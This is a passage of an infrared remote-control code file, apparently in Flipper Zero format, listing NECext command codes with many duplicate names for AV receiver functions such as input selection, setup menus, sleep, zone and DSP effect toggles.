00 00 +# +name: DISP_INFO_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 28 00 00 00 +# +name: Z4:_INP_BD/HDDVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 28 00 00 00 +# +name: INFO_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 28 00 00 00 +# +name: INFO_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 28 00 00 00 +# +name: Z4_INP:_BD/HD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 28 00 00 00 +# +name: Z4_INP:_BD/HD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 28 00 00 00 +# +name: DISP_INFO_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 29 00 00 00 +# +name: Z4:_INP_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 29 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 29 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 29 00 00 00 +# +name: Z4_INP:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 29 00 00 00 +# +name: Z4_INP:_DVD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 29 00 00 00 +# +name: Z4:_INP_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2A 00 00 00 +# +name: Z4_INP:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2A 00 00 00 +# +name: INFO_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2A 00 00 00 +# +name: Z4_INP:_XM +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2A 00 00 00 +# +name: INFO_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2A 00 00 00 +# +name: SETUP_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2B 00 00 00 +# +name: Z4:_VOLUME_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2B 00 00 00 +# +name: SETUP:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2B 00 00 00 +# +name: SETUP:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2B 00 00 00 +# +name: SETUP_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2C 00 00 00 +# +name: Z4:_VOLUME_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2C 00 00 00 +# +name: SETUP:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2C 00 00 00 +# +name: SETUP:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2C 00 00 00 +# +name: SETUP_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2D 00 00 00 +# +name: Z4:_MUTE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2D 00 00 00 +# +name: SETUP:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2D 00 00 00 +# +name: SETUP:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2D 00 00 00 +# +name: SETUP_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2E 00 00 00 +# +name: SETUP:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2E 00 00 00 +# +name: SETUP:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2E 00 00 00 +# +name: SETUP_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2F 00 00 00 +# +name: SETUP:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2F 00 00 00 +# +name: SETUP:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 2F 00 00 00 +# +name: SLEEP_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 30 00 00 00 +# +name: SETUP_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 30 00 00 00 +# +name: MZ:_SLEEP_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 30 00 00 00 +# +name: SETUP:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 30 00 00 00 +# +name: SETUP:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 30 00 00 00 +# +name: SLEEP_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 31 00 00 00 +# +name: SETUP_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 31 00 00 00 +# +name: Z2:_SLEEP_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 31 00 00 00 +# +name: SETUP:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 31 00 00 00 +# +name: SETUP:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 31 00 00 00 +# +name: SLEEP_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 32 00 00 00 +# +name: SETUP_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 32 00 00 00 +# +name: Z3:_SLEEP_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 32 00 00 00 +# +name: Z3:_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 32 00 00 00 +# +name: SETUP:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 32 00 00 00 +# +name: Z3:_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 32 00 00 00 +# +name: SETUP:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 32 00 00 00 +# +name: SETUP_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 33 00 00 00 +# +name: Z4_SLEEP_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 33 00 00 00 +# +name: Z4:_SLEEP_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 33 00 00 00 +# +name: SETUP:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 33 00 00 00 +# +name: SETUP:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 33 00 00 00 +# +name: Z4:_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 33 00 00 00 +# +name: Z4:_SLEEP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 33 00 00 00 +# +name: SETUP_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 34 00 00 00 +# +name: MZ:_PARTY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 34 00 00 00 +# +name: PARTY:_ZONE_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 34 00 00 00 +# +name: SETUP:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 34 00 00 00 +# +name: SETUP:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 34 00 00 00 +# +name: HDMI_OUT_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 35 00 00 00 +# +name: MZ:_HDMI_OUT_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 35 00 00 00 +# +name: SETUP:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 35 00 00 00 +# +name: SETUP:_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 35 00 00 00 +# +name: DISP_DISPLAY_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 36 00 00 00 +# +name: Z2:_DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 36 00 00 00 +# +name: DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 36 00 00 00 +# +name: DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 36 00 00 00 +# +name: SETUP:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 36 00 00 00 +# +name: SETUP:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 36 00 00 00 +# +name: SETUP:_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 36 00 00 00 +# +name: DISP_DISPLAY_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 37 00 00 00 +# +name: Z3:_DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 37 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 37 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 37 00 00 00 +# +name: SETUP:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 37 00 00 00 +# +name: SETUP:_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 37 00 00 00 +# +name: Z4:_DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 38 00 00 00 +# +name: DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 38 00 00 00 +# +name: SETUP:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 38 00 00 00 +# +name: DISPLAY_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 38 00 00 00 +# +name: SETUP:_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 38 00 00 00 +# +name: INP_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 39 00 00 00 +# +name: SIRIUS_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 39 00 00 00 +# +name: SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 39 00 00 00 +# +name: INPUT_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 39 00 00 00 +# +name: MZ_INP:_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 39 00 00 00 +# +name: MZ_INP:_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 39 00 00 00 +# +name: SETUP:_ENTER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 39 00 00 00 +# +name: INP_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3A 00 00 00 +# +name: DISP_STATUS_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3A 00 00 00 +# +name: ZONE_2_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3A 00 00 00 +# +name: Z2_INPUT_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3A 00 00 00 +# +name: Z2:_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3A 00 00 00 +# +name: Z2_INP:_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3A 00 00 00 +# +name: STATUS_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3A 00 00 00 +# +name: Z2_INP:_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3A 00 00 00 +# +name: STATUS_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3A 00 00 00 +# +name: SETUP_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3B 00 00 00 +# +name: INP_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3B 00 00 00 +# +name: SETUP:_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3B 00 00 00 +# +name: SETUP:_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3B 00 00 00 +# +name: Z3_INP:_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3B 00 00 00 +# +name: Z3_INP:_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3B 00 00 00 +# +name: SETUP_RTRN/SUBMEN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3C 00 00 00 +# +name: SETUP:_RETURN_(SUB) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3C 00 00 00 +# +name: SETUP:_RETURN_(SUB) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3C 00 00 00 +# +name: Z4_INP:_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3C 00 00 00 +# +name: Z4_INP:_SIRIUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3C 00 00 00 +# +name: DISP_STATUS_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3D 00 00 00 +# +name: XM_INFO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3D 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3D 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3D 00 00 00 +# +name: MZ:_SYSM_REC_10 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3E 00 00 00 +# +name: SETUP_RTRN/SUBMEN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3F 00 00 00 +# +name: SETUP:_RETURN_(SUB) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3F 00 00 00 +# +name: SETUP:_RETURN_(SUB) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 3F 00 00 00 +# +name: DIR_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: TAPE_DIR_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: STATUS_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: STATUS_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: SETUP:_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 41 00 00 00 +# +name: SETUP:_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 41 00 00 00 +# +name: SETUP:_RETURN_(SUB) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 42 00 00 00 +# +name: SETUP:_RETURN_(SUB) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 42 00 00 00 +# +name: DISP_STATUS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 43 00 00 00 +# +name: DISP_STATUS_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 43 00 00 00 +# +name: STATUS_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 43 00 00 00 +# +name: STATUS_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 43 00 00 00 +# +name: SETUP_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 44 00 00 00 +# +name: SETUP:_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 44 00 00 00 +# +name: SETUP:_MENU +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 44 00 00 00 +# +name: Z2:_POWER/STANDBY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 45 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 45 00 00 00 +# +name: INPUT_HDMI_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 47 00 00 00 +# +name: HDMI_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 47 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 47 00 00 00 +# +name: INPUT_HDMI-1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 47 00 00 00 +# +name: INPUT_HDMI_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4A 00 00 00 +# +name: HDMI_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4A 00 00 00 +# +name: INPUT_HDMI-2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4A 00 00 00 +# +name: INPUT_HDMI_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4D 00 00 00 +# +name: HDMI_3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4D 00 00 00 +# +name: INPUT_HDMI-3 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4D 00 00 00 +# +name: Z4_INP:_DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4D 00 00 00 +# +name: CD_DISK_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: INPUT_HDMI_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 50 00 00 00 +# +name: HDMI_4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 50 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 50 00 00 00 +# +name: INPUT_HDMI-4 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 50 00 00 00 +# +name: MENU> +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: DSP_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: C-RT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: LEVEL/SET_MENU:_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: MENU:_CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: TIME/LEVEL_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: LEVEL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: YRIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: SET_MENU:_(+) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: SET_MENU_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: DELAY_TIME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: SELECT_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: MENU< +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: DSP_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: C-LF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: INPUT_AV_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: LEVEL/SET_MENU:_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: MENU:_CURSOR_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: TIME/LEVEL_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: AV_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: LEVEL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: YLEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: SET_MENU:_(-) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: SET_MENU_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: INPUT_AV-1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: DELAY_TIME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: SELECT_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: SELECT_TV_/_DBS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: TV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: D-TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: INPUT_DTV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: INPUT:_D-TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: INPUT:_D-TV/LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: D-TV/LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: INPUT:_D-TV_/_LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: INPUT_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: MZ:_DTV/LD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: INPUT_D-TV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: DBS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: TV/DBS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: MZ_IN:_D-TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: DTV/CBL_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: INP_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: MZ:_DTV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: Z2:_DTV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: DTV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: INPUT:_DTV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: MAIN:_D-TV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: ZONE2:_D-TV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: INP_DTV/CBL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: MZ:_INP_DTV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: MZ_INP:_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: MZ_INP:_TV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 54 00 00 00 +# +name: SELECT_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: INPUT_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: INPUT:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: V_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: INPUT_VAUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: MZ:_VIDEO_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: MZ:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: INPUT_V-AUX/DCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: INPUT:_VIDEO_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: MZ_IN:_V-AUX/DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: MZ:_V-AUX/DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: V.AUX/DOCK_INPUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: INP_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: V._AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: V.AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: V._AUX/DOCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: MAIN:_VIDEO_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: INP_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: MZ:_INP_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: MZ_INP:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: MZ_INP:_V-AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 55 00 00 00 +# +name: EFECT_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: STEREO_(EFFECT) +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: STRAIGHT/EFFECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP_STRAIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: INPUT_AV_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: EFFECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: EFFECT_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP_TOG:_EFFECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP_TOG:_STRAIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP_STR/EFF_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: EFFECTS +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP:_EFFECT_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP_TOG:_STRAIGHT/ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: STRAIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP_TOG_STRAIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: AV_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP_EFFECT_TOGGLE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP:_STRAIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: STRIAGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP_STRAIGHT_TOG +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: PROGRAM_STRAIGHT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: INPUT_AV-2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP_EFFECT_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: DSP:_T_STRAIGHT +type: parsed +protocol: NECext +address: 7A 00 00 